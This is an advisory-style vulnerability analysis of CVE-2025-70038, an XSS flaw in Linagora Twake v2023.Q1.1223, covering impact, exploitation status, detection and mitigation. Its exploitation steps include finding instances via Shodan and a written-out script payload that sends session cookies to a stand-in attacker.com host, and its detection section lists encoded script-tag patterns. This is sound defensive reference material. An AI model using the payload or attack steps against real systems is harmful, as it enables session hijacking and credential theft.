CVE-2025-70038: 
Homebrew vulnerability analysis and mitigation

CVE-2025-70038 is a Cross-Site Scripting (XSS) vulnerability (CWE-79) discovered in Linagora Twake v2023.Q1.1223, an open-source collaboration platform. The flaw stems from improper neutralization of input during web page generation, allowing attackers to inject malicious scripts that execute arbitrary code in the context of a victim's browser. It was published on March 9, 2026, and affects only the specific release v2023.Q1.1223 of the now-deprecated Twake repository. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (Feedly, GitHub Gist).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input is not properly sanitized or encoded before being rendered in the application's web pages. An attacker can craft malicious input containing JavaScript payloads that, when processed and displayed by the Twake application, execute in the victim's browser session. Exploitation requires network access and user interaction (e.g., a victim visiting or interacting with a page containing the injected payload), but no authentication or special privileges are needed. The vulnerability was publicly disclosed via a GitHub Gist by researcher 'zcxlighthouse' (GitHub Gist, Feedly).

Successful exploitation can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of authenticated users within the Twake collaboration platform. Because Twake handles team chat, file storage, calendars, and task management, a compromised user session could expose sensitive organizational data and communications. The high CVSS scores across confidentiality, integrity, and availability reflect the potential for complete account compromise and data exfiltration (Feedly, GitHub Gist).

No public proof-of-concept exploit code with a working payload has been confirmed beyond the disclosure gist, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.017% (0.000170), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify Twake instances running version v2023.Q1.1223, which is the deprecated legacy Twake repository (github.com/linagora/Twake). Self-hosted instances can be discovered via Shodan or Censys by searching for Twake-specific HTTP headers or login pages.
2. Identify injection point: Locate input fields within the Twake application (e.g., chat messages, task names, calendar entries, or user profile fields) that are reflected or stored and rendered without proper output encoding.
3. Craft XSS payload: Prepare a malicious JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant to evade basic filters.
4. Deliver payload: Submit the crafted input through the vulnerable field. For stored XSS, the payload persists and executes for any user who views the affected content. For reflected XSS, trick a victim into clicking a crafted link.
5. Harvest results: The victim's browser executes the injected script, sending session cookies or credentials to the attacker's server, enabling account takeover or further lateral movement within the organization's Twake environment (GitHub Gist, Feedly).

• Network: Unexpected outbound HTTP requests from users' browsers to unknown external domains shortly after interacting with Twake content; unusual GET/POST requests containing encoded JavaScript or HTML tags in Twake application logs.
• Logs: Twake web server access logs showing requests with URL-encoded script tags (%3Cscript%3E, %3C/script%3E) or event handler attributes (onerror=, onload=) in input parameters.
• File System: No specific file-system artifacts expected for a client-side XSS attack; however, if the XSS is used to deliver a secondary payload, watch for unexpected file downloads or browser extension installations on victim endpoints.
• Process/Browser: Unusual browser network activity (e.g., requests to attacker-controlled domains) correlated with Twake session activity; unexpected session invalidations or account actions not initiated by the legitimate user.

No official patch has been released for CVE-2025-70038 in the affected Twake v2023.Q1.1223 codebase, which is now deprecated. Organizations should migrate to the actively maintained Twake-workplace repository as the primary remediation step. As interim mitigations, administrators should implement strict Content Security Policy (CSP) headers to restrict script execution, enforce input validation and output encoding on all user-supplied fields, and restrict access to the Twake instance to trusted networks or VPN. Users should be educated about phishing risks that could be used to deliver XSS payloads (GitHub Twake, Feedly).

The vulnerability received limited public attention, with coverage primarily from automated vulnerability tracking services such as VulDB, CVEFeed, and radar.offseq.com. A brief technical write-up was published on infinitsec.net shortly after disclosure. No significant vendor statement from Linagora or notable researcher commentary beyond the initial disclosure gist has been identified (Feedly).